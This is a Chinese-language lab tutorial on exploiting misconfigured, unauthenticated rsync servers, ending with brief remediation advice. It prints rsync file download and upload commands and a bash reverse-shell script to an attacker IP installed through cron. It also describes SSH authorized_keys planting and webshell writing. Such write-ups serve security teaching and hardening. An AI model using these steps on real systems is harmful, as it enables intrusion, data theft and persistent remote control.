应用简介

rsyncLinux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口

漏洞简介

由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件,rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行

测试环境

attacker:kali linux
victim:vulhub里面的rsync

rsync基本命令

列出模块

rsync rsync://192.168.1.107:873/

1.png
列出模块src下的文件

rsync rsync://192.168.1.107:873/src

2.png
下载文件,比如下载rsync下的配置文件rsyncd.conf另存为本地/root/1.conf

rsync -av rsync://192.168.1.107:873/src/etc/rsyncd.conf /root/1.conf

3.png
上传文件,比如上传1.conf/src/etc/upload.txt

rsync -av 1.conf rsync://192.168.1.107/src/etc/upload.txt

4.png

常见利用方式

计划任务反弹shell

写好shell,内容为

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.105/4444 0>&1

chmod +x shell赋予可执行权限,然后上传到/etc/cron.hourly
5.png
下载crontab配置文件,查看
6.png
17表示每个小时的第17分钟执行一次,如果觉得要等很久可以上传crontab文件修改17为离自己最近那个时间,然后反弹回shell
7.png

写ssh-keygen公钥然后使用私钥登陆

如果目标机开启了22端口,那么和Redis一样ssh-keygen -t rsa首先在本地生成一对密钥,在.ssh下查看id_rsa.pub,将里面的内容放进.ssh目录下的authorized_keys文件中,记得左右两边的\n防止代码混淆,然后就可以免密登录ssh

往web物理路径写webshell

同样如果有web服务开启写入权限就可以往源码里面写入一句话获取webshell

修复方案

添加一个账号和密码
新建一个文件

vim /etc/rsyncd.passwd

按一下格式写入能登陆的用户名和密码

username :password

设置允许连入的IP
合理分配权限
数据加密传输

参考链接

https://xz.aliyun.com/t/6544
https://blog.csdn.net/qq_36374896/article/details/84143428